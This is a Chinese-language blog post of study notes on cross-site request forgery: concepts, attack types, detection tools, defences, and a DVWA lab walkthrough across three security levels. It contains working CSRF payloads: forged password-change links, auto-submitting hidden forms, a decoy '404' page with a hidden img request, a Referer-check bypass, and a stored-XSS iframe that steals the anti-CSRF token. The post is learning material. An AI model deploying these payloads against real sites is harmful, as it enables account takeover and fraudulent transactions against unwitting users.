0x00 前言
閑來無事,開啟了CSRF漏洞的學習之旅。並記錄一下學習筆記!
0x01 CSRF漏洞簡介
對web客戶端的攻擊,除了XSS以外,還有一個非常重要的漏洞就是CSRF。
CSRF最關鍵的是利用受害者的Cookie向服務器發送偽造請求。
1.CSRF漏洞概念
CSRF(Cross-site request forgery,跨站請求偽造),也被稱為“One Click Attack”或Session Riding,通常縮寫為CSRF或者XSRF,是基於客戶端操作的請求偽造,是一種對網站的惡意利用。
2.CSRF與XSS的區別
CSRF聽起來像跨站腳本攻擊(XSS),但與XSS不同。XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。
什么意思呢?我的理解就是:
XSS利用的是用戶對指定網站的信任,CSRF利用是網站對用戶瀏覽器的信任。
3.CSRF漏洞原理
學習過程中,參考了一下大師傅的博客,發現CSRF原理可以分為狹義的CSRF和廣義的CSRF
- 狹義的CSRF:是指在攻擊者已經將代碼植入受害用戶的瀏覽器訪問的頁面的前提下,以“受害用戶”的身份向服務端發起一個偽造的http請求,從而實現服務器CURD來執行讀寫操作。
- 廣義的CSRF:
就是攻擊者將一個http接口中需要傳遞的所有參數都預測出來,然后不管以什么方式,都可以來任意調用你的接口,對服務器實現CURD
- 用戶C打開瀏覽器,訪問受信任網站A,輸入用戶名和密碼請求登錄網站bA;
- 在用戶信息通過驗證后,網站A產生Cookie信息並返回給瀏覽器,此時用戶登錄網站A成功,可以正常發送請求到網站A;
- 用戶未退出網站A之前,在同一瀏覽器中,打開一個標簽頁訪問惡意網站B;
- 惡意網站B接收到用戶請求后,返回一些攻擊性代碼,並發出一個請求訪問第三方站點A;
- 瀏覽器在接收到這些攻擊性代碼后,根據惡意網站B的請求,在用戶不知情的情況下攜帶Cookie信息,向網站A發出請求。網站A並不知道該請求其實是由B發起的,所以會根據用戶C的Cookie信息以C的權限處理該請求,導致來自惡意網站B的惡意代碼被執行。
5.CSRF攻擊實現的條件
- 登錄受信任站點WebA,並在本地生成Cookie。
- 在不登出WebA的情況下,訪問站點WebB。
0x02 常見CSRF攻擊類型
常見CSRF攻擊類型有:GET型CSRF、POST型CSRF
下面使用必火團隊的CSRF在線靶場進行驗證。靶場地址
GET型
僅需要一個HTTP請求。就能夠構造一次簡單的CSRF。
銀行站點,正常GET請求來完畢銀行轉賬給admin的10元操作:
http://www.nanhack.com/payload/xss/csrf1.php?name=admin&money=10 惡意攻擊者頁面:http://www.nanhack.com/payload/xss/csrf1.php 訪問惡意攻擊者頁面產生CSRF請求: http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000
用戶登錄了銀行站點,然后訪問惡意攻擊者頁面,這時qwzf的銀行賬戶少了1000。
原因:銀行站點A違反了HTTP規范,使用GET請求更新資源。
用戶在訪問惡意攻擊者頁面之前,已經登錄了銀行站點,而攻擊者頁面中的 一個合法的請求,但這里被不法分子利用了。
瀏覽器會帶上銀行站點的Cookie發出Get請求,去獲取資源以GET的方式請求第三方資源(這里的第三方就是指銀行站點了,這里是http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000
,結果銀行站點服務器收到請求后,認為這是一個更新資源操作(轉賬操作),所以就立馬進行轉賬操作。從而qwzf的銀行賬戶轉賬給zsm賬戶1000元。
直接構造CSRF鏈接,隱蔽性太低。於是可以采用標簽等方法進行隱藏。
4種GET型CSRF構造方式
- 鏈接利用(a標簽)
- iframe利用
可以設置iframe的style為display:none,以此來不顯示iframe加載的內容 - img標簽利用
img標簽內的內容會隨着頁面加載而被請求,以此src指向的位置會在頁面加載過程中進行請求 - background利用
可以利用CSS中background樣式中的url來加載遠程機器上的內容,從而對url中的內容發送HTTP請求
POST型
危害沒有GET型的大,利用通常使用的是一個自動提交的表單。如:
<form name="csrf" action="http://edu.xss.tv/payload/xss/csrf2.php" method="post"> <input type="hidden" name="name" value="zhangsan"> <input type="hidden" name="money" value="1000"> </form> <script type="text/javascript">document.csrf.submit();</script>
訪問該頁面后,表單會自動提交,相當於模擬用戶完成了一次POST操作。
0x03 CSRF漏洞探測
利用自動化探測工具CSRFTester
或者burp自帶CSRF POC
1.CSRFTester設置瀏覽器代理:127.0.0.1:8008,burp是8080
2.登錄web應用程序,提交表單,在CSRF工具中修改表單內容,查看是否更改,如果更改就存在CSRF漏洞
3.生成CSRF的POC
參考:Web安全Day3 - CSRF實戰攻防
0x04 CSRF漏洞防御
- 設置和判斷cookie時采用hash值認證。
- 盡量采用post類型傳參,這就減少了請求被直接偽造的可能。
- 驗證HTTP Referer字段
- 在 HTTP 頭中自定義屬性並驗證
- 在請求地址中添加token並驗證
- 采用驗證碼判斷,進行防御。
0x05 DVWA靶場CSRF練習
首先,先登錄DVWA,以在瀏覽器上保存Cookie信息。用戶名:admin 密碼:password
1、Low級
查看下源碼(這里只寫一些關鍵代碼):
<?php
if (isset($_GET['Change'])) { //獲取兩次密碼輸入 $pass_new = $_GET['password_new']; $pass_conf = $_GET['password_conf']; if (($pass_new == $pass_conf)){ $pass_new = mysql_real_escape_string($pass_new); //過濾字符串 $pass_new = md5($pass_new); $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';"; $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); echo "<pre> Password Changed </pre>"; mysql_close(); } else{ echo "<pre> Passwords did not match. </pre>"; } } ?>
首先獲取輸入的兩個密碼然后判斷兩個值是否相等,若相等則接着對pass_new
變量進行調用mysql_real_escape_string()
函數來進行字符串的過濾、再調用md5()函數對輸入的密碼進行MD5加密,最后再將新密碼更新到數據庫中。整段代碼因為調用了mysql_real_escape_string()
函數從而有效地過濾了SQL注入,但是對CSRF沒有任何的防御機制。(當然服務器對請求的發送者是做了身份驗證的,檢查Cookie,只是這里代碼沒有體現)
漏洞利用
正常修改密碼:
http://192.168.1.3/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
(1)直接構造鏈接
http://192.168.1.3/DVWA/vulnerabilities/csrf/?password_new=qwzf&password_conf=qwzf&Change=Change#
當受害者點擊這個鏈接,他的密碼就會被改成qwzf(這種構造一眼就能看出來是改密碼,隱蔽性太低)
(2)使用短鏈接來隱藏URL
生成短鏈接常用網址:
站長工具
百度短網址
點擊短鏈接,會自動跳轉到真實網站。在實際攻擊場景下只要目標服務器的域名不是ip,並且是遠程服務器。
(3)構造攻擊頁面
通過img標簽中的src屬性來加載CSRF攻擊利用的URL,並進行布局隱藏,然后在公網上傳下面這個攻擊頁面,誘騙受害者去訪問,真正能夠在受害者不知情的情況下完成CSRF攻擊。這里我寫一個qwzf.html:
<html> <head> <title>404 Not Found</title> </head> <body> <h1>Not Found</h1> <img src="http://192.168.1.3/DVWA/vulnerabilities/csrf/?password_new=qwzf&password_conf=qwzf&Change=Change#" border="0" style="display:none;"/> <p>The requested URL /qwzf.html was not found on this server.</p> </body> </html>
當用戶訪問test.html時,會誤認為是自己訪問一個失效的url,但實際上已經遭受了CSRF攻擊,密碼已經被修改為了qwzf。
2、Medium級
查看源碼發現,比Low級多了個if判斷
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
eregi(string pattern, string string)
檢查string中是否含有pattern(不區分大小寫),如果有返回True,反之False。
同時可以看到,Medium級的代碼檢查了保留變量 HTTP_REFERER
(http包頭的Referer參數的值,表示來源地址)中是否包含SERVER_NAME
(http包頭的Host參數,及要訪問的主機名,這里是192.168.1.3),希望通過這種機制抵御CSRF攻擊。
漏洞利用
將之前qwzf.html
攻擊頁面命名為192.168.1.3.html
,然后放置在攻擊者的服務器里,這里是http://39.x.93.165:8080/
Referer參數繞過過濾規則
密碼被修改為了qwzf
3、High級
查看源碼發現,比Low級多了隨機token
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); ...... } // Generate Anti-CSRF token generateSessionToken();
High級的代碼加入了Anti-CSRF token機制,即用戶每次訪問改密頁面時,服務器會返回一個隨機的token
。
向服務器發起請求時,需要提交token參數。
而服務器在收到請求時,會優先檢查token,只有token正確,才會處理客戶端的請求。
暴力破解可以突破CSRF Token
原因:構造HTTP請求的對象不一樣。暴力破解,攻擊者是當前用戶,受害者是其他用戶。CSRF攻擊者是其他用戶,受害者是當前用戶。
漏洞利用
繞過反CSRF機制,關鍵是要獲取token
,要利用受害者的cookie去修改密碼的頁面獲取關鍵的token。
可不可以在自己的惡意頁面中運行js腳本而取得目標頁面的token呢?當然是不可以,瀏覽器普遍對跨域請求資源有訪問控制。對於需要驗證的資源,跨域請求會被拒絕。
但是如果同時存在存儲xss漏洞的話,可進行csrf利用。
(1)首先我們需要先獲取用戶token,由於現在都已經不支持跨域請求訪問了,所以只能從別的地方入手獲取token,查看大師傅博客,發現可以利用下面的腳本在XSS(Stored)的Name參數進行XSS攻擊,獲取用戶token:
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
(2)然后將下面的腳本構造攻擊頁面放到攻擊服務器上,誘導用戶點擊,從而實現攻擊
<script type="text/javascript"> function attack() { document.getElementById("transfer").submit(); } </script> <body οnlοad="attack()"> <form method="GET" id="transfer" action="http://192.168.1.3/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="qwzf"> <input type="hidden" name="password_conf" value="qwzf"> <input type='hidden' name='user_token' value="8519d07c0e08e8ef0461311e9a880af5"> <input type="hidden" name="Change" value="Change"> </form> </body>
另外high級還有一種大師傅發現的方法,參考大師傅博客:
DVWA 1.10 High等級的CSRF另類通關法
0x06后記
通過學習CSRF漏洞,感覺Web安全竟如此有趣,繼續加油!!!